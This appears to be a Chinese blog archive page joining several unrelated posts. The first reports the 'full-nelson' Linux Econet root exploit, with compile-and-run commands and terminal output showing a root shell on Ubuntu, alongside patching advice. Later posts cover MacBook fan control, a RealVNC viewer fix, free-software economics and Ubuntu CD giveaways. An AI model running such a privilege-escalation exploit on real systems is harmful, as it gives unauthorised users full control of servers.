——————————————-这是手痒的分割线——————————————-

系统安全高手 Dan Rosenberg 发布了一段 C 程序，这段200多行的程序利用了 Linux Econet 协议的3个安全漏洞，可以导致本地帐号对系统进行拒绝服务或特权提升，也就是说一个普通用户可以通过运行这段程序后轻松获得 root shell，以下在 update 过的 Ubuntu 10.04 Server LTS 上测试通过：

$ uname -r
2.6.32-21-server
 
$ gcc full-nelson.c -o full-nelson
$ ./full-nelson
[*] Resolving kernel addresses...
 [+] Resolved econet_ioctl to 0xffffffffa0131510
 [+] Resolved econet_ops to 0xffffffffa0131600
 [+] Resolved commit_creds to 0xffffffff8108b820
 [+] Resolved prepare_kernel_cred to 0xffffffff8108bc00
[*] Calculating target...
[*] Failed to set Econet address.
[*] Triggering payload...
[*] Got root!
#

由于 RHEL/CentOS 默认不支持 Econet 协议，所以测试没有通过：

$ uname -r
2.6.18-194.26.1.el5
 
$ gcc full-nelson.c -o full-nelson
$ ./full-nelson
[*] Failed to open file descriptors.

如果在企业环境用 Ubuntu 的话可能会比较杯具了，几百个帐号里总可以找到一两个帐号被内部或外部人员通过上面这段程序拿到 root，这对服务器的危害是毁灭性的。前天还在说 Ubuntu 在内核方面无作为，现在想起来还有点后怕。VPSee 提醒正在使用多个普通帐号登录 Ubuntu VPS 的朋友及时升级或打内核补丁，出售 VPN/SSH 帐号、提供免费 SSH 的商家尤其要小心 “客户” 捣乱，使用其他 Linux 发行版的朋友也最好检查一下自己的 VPS 有没有这些高危漏洞。

——————————————-这是手痒的分割线——————————————-

21个人的测试，在Debian 5.0.6上测试，结果如下：

$ uname -r
2.6.26-2-xen-amd64
$ gcc h.c -o h
$ ./h
[*] Resolving kernel addresses...
 [+] Resolved econet_ioctl to 0xffffffffa017819b
 [+] Resolved econet_ops to 0xffffffffa01791e0
[*] Failed to resolve kernel symbols.

同时，各位提供SSH番羽墙的童鞋，只要把用户的shell设置为nologin便可以表示没有鸭梨了~

-EOF-

Mac OS X

这个身为MBP原生的，与硬件契合度最高的系统同样存在风扇自动调整的问题，至少在我重置了N次SMC的情况依然还是只能达到90度附近才会提速，于是只能用软件来对付了，我个人觉得效果比较好的是Fan Control。

名称：Fan Control
系统：Leopard, Snow Leopard
下载：http://www.lobotomo.com/products/FanControl/

安装之后，会在“系统偏好设置”里面增加一个叫“Fan Control”的设置面板。

进去之后三项设置，
Base Speed，初始速度，系统默认是2000RPM，系统启动之后会以这个初始速度为基准；
Lower Threshold，温度下限阀值，这个是配合Base Speed工作的，在这个温度下，转速是Base Speed；
Upper Threshold，温度上限阀值，这个是值达到时系统将以最高转速跑风扇，我的MBP 13是6200。
风扇的转速会自动在Lower和Upper之间自动调整。

Ubuntu Lucid (10.04)

遇到Linux有个好处，直接修改配置文件就行，可以省掉软件了，但是这个没法进行曲线调速了，所以通常我都是直接把速度一步到位直接上到5500RPM，喜欢6000RPM的也行，反正风扇的作用就是处理积热嘛，往高处提一下没有坏处的~

操作如下：
开启终端（Terminal），输入以下指令，之后需要输入你当前用户的密码，然后回车，

1

sudo sh -c "echo 5000 > /sys/devices/platform/applesmc.768/fan1_min"

通过修改fan1_min中的数字“1”，可以调整各个不同风扇的转速，因为MBP 13只有一个风扇，所以也只有fan1，像MBP 15这一类的，可以分别调整fan1和fan2的转速等。并且每次开机的话系统都会自动重置，所以如果需要每次开机都保持一个转速的话，可以自行修改rc脚本。

Windows 7

在Windows下也是需要依靠第三方软件的，据说是有类似于OSX下Fan Control那样的自动调速软件，不过我个人还是比较喜欢把速度调整到5500左右，一次性解决问题。软件叫“Mac/SMC Fan Control for Windows (+ Temp) ”。

名称：Mac/SMC Fan Control for Windows (+ Temp)
平台：32-bit MS Windows (NT/2000/XP), 64-bit MS Windows, Vista, WinXP.
下载：http://sourceforge.net/projects/macfan/

官方没有提到Win7，但是我的Win7-64bit也没有问题的。这是一个基于CLI（CommandLine Interface，命令行界面）的程序，而且同时还需要管理员权限，还要带参数，使用起来稍微有点麻烦，我个人是这么处理的：

1. 首先将解压缩后的文件放在\windows\mf目录；
2. 同时在目录里面增加一个批处理文件mf.cmd，内容如下：

   1 2 3 4

   @echo off @echo Input the fan speed (2000-6200): set /p speed= C:\Windows\mf\MacFanx64.exe %speed%

3. 之后按住Alt键，把mf.cmd拖到桌面上，之后在mf.cmd上右键，选择“属性”，选择“快捷方式”页面，点击“高级”，之后把“以管理员权限运行”勾上。
4. 双击桌面上的“mf.cmd – 快捷方式”，之后输入你想要调整的风扇转速，回车即可。

因为我的是MBP 13，只有一个风扇，所以只需要提供一个参数，如果有多个风扇的话，请依据自己的需要进行修改，按照Mac/SMC Fan Control for Windows (+ Temp) 的说明文件提到的，用法大概如下：

MacFan.exe <Desired RPM for Fan 1> <Desired RPM for Fan 2 (if applicable)> <Desired RPM for Fan 3 (if applicable)> <Desired RPM for Fan 4 (if applicable)>

基本上，还是不太建议在MBP上使用其它系统，毕竟efi现在还是不能被其它系统较好地支持。不过像我这种爱折腾的人和不少披着MBP的皮WIN的心的人，这样的速度调整还是有必要的，希望这篇文章能帮到你。

引用参考：
Fan Control: http://www.lobotomo.com/products/FanControl/
MacFan: http://sourceforge.net/projects/macfan/
Ubuntu Forum: http://ubuntuforums.org/showthread.php?t=1378663

由于工作需要，
需要访问布置了RealVNC的一堆Windows服务器进行日常维护管理，
其中，服务器安装了RealVNC Enterprise Edition v4.3.2, 客户端为Ubuntu 8.10，

关于安装的VNC viewer，
可以说新立得里面有的，我全部都安装测试了，没有一个能用！

不论是直接执行还是通过“终端伺服器用户端”调用，
统统报告“No match security type”（没有匹配的安全类型），
头大了，
虽然可以通过RDP连接到终端桌面，但那是虚拟桌面，且服务器只布置了VNC，

经过翻阅新立得的程序说明和各类资料，
发现主要是协议问题，RFB的版本过低，新立得里的Viewer最高只能支持RFB 3.8，
但是RealVNC Enterprise Edition v4.3.2使用的是RFB 4.0，
问题知道了，但是哪里去找支持RFB 4.0的Viewer呢？又折腾了半天~

最终，在RealVNC网站找到二进制(bin)的客户端，
有各个OS的Viewer，包括Solaris, Windows, Linux etc, 就是不提供Source，

不过，好在问题解决了，
下载了对应的4.3.2的Viewer，并同时测试了最新的4.4.2的Viewer，
都支持RFB 4.0，OK，问题解决。

后来发现，
新立得里面提供的几个Viewer似乎是RealVNC释出的免费版本（Free edition）使用的源码，
而官方提供的最高版本为：VNC Free Edition 4.1。

结论：以后遇到高版本RFB的VNC Server，试试RealVNC最新的Viewer吧~

下载： http://www.realvnc.com/cgi-bin/download.cgi （填写表单后就出来了）

总的来说，
就是讨论如何推行微软帝国之外的一些“低成本”操作系统 — 尽管它们非常之优秀，但是开发者们还是需要费尽心思去考虑怎么把它推送给客户，特别是那些能够创造营收的顾客，例如学校、企业以及政府等等。

事实上，对于“免费的Linux或者BSD”之所以免费的商业意义如同我在《免费的午餐？NO》里面提到的

千千万万的用户也是千千万万的测试员，通过不断的反馈，可以增进服务器产品的适用性。

当然，这不是说那些免费的产品“利用了”我们。（不过我倒是很乐意被GNU/Linux这么优秀的产品利用~）

在几篇文章里面，都提到一个概念“拒绝谈论免费”。
记得很久以前，
我第一次接触Linux的时候，接受的第一个观念就是“免费”，然后是“稳定、安全”。

后两者咱们暂时不去评论，就说说“免费”。
也许不少人觉得￥5一张的盗版WIN合集DVD很便宜，成本几乎可以忽略，我称之为“被错误导向的消费心理”，
谁都喜欢便宜甚至免费的东西，但是不少人忽略了盗版带来的危害（对MS倒是好处多多）。

怎么说呢，
我第一次使用的正版系统是我的HP本子自带的Vista Home Basic，被我X掉了，换成盗版的XP，
因为Vista适用性实在不高。
之前我比较得意的消费就是花了￥68买了一套“正版”的RedHat Linux 7.0，还有后来的Fedora。

现在，《成功推广OpenBSD的六个计策》和《为什么Linux没有流行》告诉我们，“不要谈论免费！”

为什么呢？
因为人们总会觉得免费的是“不好、不可靠的”，就像我们买东西得到的赠品那样低劣，
记得范伟的广告么，“不要最好的，只要最贵的”。

不过我想，在现在的环境下，就算Linux和Windows价格一样，习惯会成为影响选择的一大因素，没有人会因为同样的价格去附加额外的学习和习惯的时间。实在不划算。

其实，最近Ubuntu 8.10 LTS的发布，就表示希望获得更多的服务器份额，
是的，桌面的发展有些缓慢了，下手商用….

深刻的感触来自当初想尽办法去屏蔽的BlogCN广告，
有莫名其妙的Top通栏，有浮动的，还有在LOGO那里还插入BLOGCN自己的。

一切看起来相当不如人意，
至少，不如我的意，所以搬出来了。

今天在Ecko’s Blog看到一篇POST《免费经济学的六种模式》，
里面列出了六种基于免费的服务或者产品获得盈利的模式，非常值得借鉴参考。

连接：http://okce.net/posts/304

其中，
第一种模式，Freemium，免费增值模式，
我首先想到的是BlogBus的VIP服务：增量的空间和额外的域名绑定，
当然，还有一个使用WP MU提供服务的yo2，它绑定域名也属于增值服务需要额外的费用，

第二种模式，Advertisement，广告模式，
这样的方式其实随处可见，就是典型的Blog+GG Ads，还应该算上新兴的阿里妈妈，

马云的确是个很牛的人，B2B的“阿里爸爸”，BC2C的淘宝，怕爷俩孤单，又给张罗了个阿里妈妈….
Ecko说，这是马云旗下吉祥的一家。(comment below) 哈哈，吉祥三宝~

第三种，Cross-subsidies，交叉补助模式，
文中提到的是“吉列的刀架与刀片”，本来想说喷墨打印机的，

仔细想想，打印机跟吉列不一样，墨水不是唯一匹配的，因为还有兼容墨水的存在，并且质量不差….
（关于墨水可以参考Google黑板报“硅谷的见证人—惠普公司 — 亚洲制造的冲击 “）

第四种，Zero marginal cost，
其中说到“可以极低单位成本提供的产品”，这个，还是基于免费而引发的盈利么？

不过，不知道杀毒软件的免费试用（长达3~6个月）算不算呢？

至少，因为360Safe让我长期免费用Kaspersky，在向同学朋友推荐的同时自己也成为KAV的付费用户，
在付费之前的服务应该算是免费服务，并且诱发了我消费的心理，虽然待遇是一样的，

虽然，KAV的杀猪叫非常刺耳，不过这不是差别化服务因素，也就可以接受了。

我想，真正理智的消费者，不是到处去找keygen或者Crack的“特别文件”，而是真正去支持一样产品 — 如果你认为它的确优秀，只要不是囊中羞涩或者消费心理被错误导向，没有理由不支持自己喜欢的产品，包括付费和捐赠。缺少理性支持的产品日不久矣~

第五种，Labor exchange，劳务交换模式，
这个自己没能想到，看过之后想想，大量的用户调查回馈数据也属于有偿服务，还有调查问卷~

第六种，Gift economy，礼品经济模式，
我非常赞同原文提到开源软件，Red Hat产品就是一个比较典型的例子：Red Hat Enterprise和CentOS。
用产品卖服务，本身产品的价值不高、甚至免费，但是其中带来的后期服务支持和培训费用是不菲的。

由此我联想到Ubuntu，通过免费的CD/下载达到极高的市场占有率，进而推动兼容性和通用性的改进，同时千千万万的用户也是千千万万的测试员，通过不断的反馈，可以增进服务器产品的适用性，从而从服务器的产品支持上获得收益。
但是为什么同样都是免费下载的产品，Ubuntu似乎势头看来比它的老爸Debian好并且迅速崛起呢？
我想，因为还有免费的CD可以领取~

当然，我不确定我的猜想是否正确，以上是一些个人的观点，
原文还请访问：http://okce.net/posts/304，《免费经济学的六种模式》

Ubuntu 5.10 已经发布了！
Ubuntu是基于Debian的一个Linux发行版，
具有Debian优良的包管理机制，对内核进行过较多的修改，因此不完全兼容Debian-deb包。

手头于是有一些多余的Ubuntu 5.04的CD，也借此开了一个淘宝的店铺（达到了10件商品，其中5件是Ubuntu）.. .. ..

不知道我Blog的访客中是否有人对Ubuntu 5.04有兴趣或者喜欢收藏Linux CD而没有得到Ubuntu CD？
如果有，可以访问我的淘宝店铺，买下物品，我只收取邮寄费用。
（嘿嘿，不好意思，我没有Ubuntu基金会那么有钱）

这是第二次收到5.04的CD了，前次收到的10套CD居然都有问题，加载BSD unit的时候就提示错误了。
不过，这次的CD都很漂亮，似乎没有任何瑕疵。

我也已经订“购”了Ubuntu 5.10的CD，Ubuntu基金会已经交付配送了，
如果收到以后，有谁需要可以联系我。
不过，联系Ubuntu基金会来的更便宜，一分钱都不用，嘿嘿，
我只是在发送速度上有优势而已。

相关：
Ubuntu http://www.ubuntu.com/
Ubuntu shipit http://shipit.ubuntu.com/
My Taobao Shop http://shop33298901.taobao.com/

不过，联想到点比较废话的问题。就是发散这些CD的根本目的。

按照派发的CD内容，这两种分别是“Distributes ”跟“Beta”。
Ubuntu属于前者，并且提供的是一套完整的系统安装媒介，通过此媒介可以安装一个完整的操作系统，包括Desktop应用。并且基于Debian的强大资源，优势自然没法说。更重要的是该套件是免费的，并且允许自由传播，而且“免费邮寄”……
M$属于后者，提供的仅仅是一种未完成的套件，而该套件发行后的利润是可观的（估计这就是为什么WIN的BETA CD得自己掏钱，而SQL的BETA CD免费发放的原因吧？因为两者的价格差距实在不小）。通过这个CD，你可以预先体验到即将发行的软件，对于培训跟部署可以提前开始，以便正式发行的时候用最快的速度切换平台，实现平滑过度而几乎无损失。

这个问题我昨天跟老爸讨论了一下，顺便骂了一下M$拿用户开刀做实验品，还赞颂了一下OSS的种种好处.. .. ..
不过事后一想，其实也不全对。

对于M$而言，这是一家商业公司，目的就是“盈利”，目标就是“钱……”，当然，出于这样的目的，并且在用户自愿的情况下，他们拿用户开涮也没什么不对的。反正M$免费提供，你需要的话，试试就是了，顺便把自己发现的什么不足给M$说说，虽然没什么回报，但是相对与事后的似乎机应用，似乎还应该感谢。
细想了一下，这样的关系实际上是双赢的，谁也不亏。（当然，这样的双赢机制对普通用户来说，有点浪费资源了）
就M$方面来说，发布较成熟的BETA版本，几乎等于发布了正式版了（当然，BETA后还会有修改，但应该不会触及核心部分）。
而这样的结果就是大客户（他们的版本兴许更好）以及潜在客户都可以事先体验，并且为以后作出是否升级的决定，而且因为软件还基于BETA阶段，客户的意见就可以让M$为客户服务，进行修改，到能吸引到大量客户的时候，也就是正式发行了。这样，某些被接纳的潜在客户也会浮上水面成为正式客户。这样挺拉拢人心的……
撇来M$种种乱七八糟的手段来说，这是家不错的公司，至少为客户服务不错。（不过，那些乱七八糟的手段是撇不开的，也就是说，这家公司……Sigh）（不过想想李开复事件，M$也够凄凉的）.. .. ..

回来说Ubuntu，这是OSS阵营下的组织，结构是非盈利的，目的是推广OSOS (Open Sources Operating System)。而为了推广，他们实行了免费发送发行版的策略，并且是全球邮寄发送，不用付任何费用（Ubuntu组织承担了）。
按照曉風·蔡（某大的金融学生）的说法，这叫“极力推广”……
我倒不这么认为，而且这样模式我也想不通。
Ubuntu再努力，似乎一般用户也只是记住Linux或者Debian而已，直接记忆Ubuntu估计比前两类少（至少在这篇POST之前，我就没好好记住这个单词）。这个品牌效应就不明显。
其次，压盘跟邮寄的费用如果处理？据已经收到CD的Ubuntuer说，是工业压盘的（不是小作坊似的CD-R），这样虽然费用相对低廉，不过加上国际包裹（我猜的，10套CD，估计没这种信函）的费用，应该不可低估了……
不过，我看到了Ubuntu Shop的商品，如果换算成RMB，很不便宜的，一本“Ubuntu Journal”标价$9.99（如果我赚的是美金，肯定给赞助一下了），换算成RMB就是￥81.0189，兴许这个是经济来源之一，
其次，在Ubuntu China看到了捐助的连接，这个是来源之二吧？（Ubuntu说他们还未成立“非赢利组织”，汗.. .. ..）
还有一个不大可能的就是政府资助。不过，瑞典政府有这么做么？这个倒不敢枉加猜测，毕竟不清楚……
接着说到Beta的问题，这个对OSS而言根本不是问题。因为OSS有着得天独厚的OS条件，代码公开，自定义跟测试，补漏都可以最短时间内完成，不像M$ User只能依靠M$一个（TCP/IP Patch似乎例外，不过那东西算是Crack，不管官方的东西了……），OSS可以接受任何人制作的Patch（接受过官方测试的，否则一个Rootkit你就完了……）
我觉得还有一点比较重要。最近在看戴尔·卡耐基的《人性的弱点》，觉得在OSS里面应该算上“自重感”（也就是署名之类的）的问题。各个Programer应该都会在自己的东西里面显著署名该东西，似乎这样更容易得到用户的认可，得到大家承认，做这类工作会更有信心与耐心。（就像现在，我们知道某个Patch是M$出的，但却不知道是M$里面的谁出的，这似乎对该Programer不公平，而且很乏味，不过M$既然付了工资……）

天，，开头说要谈的是CD的派发目的……结果不知道谈到哪里去了，就这样吧，
14：22了，15点还要上课，就先这样了，如果有新发现的话再来Update。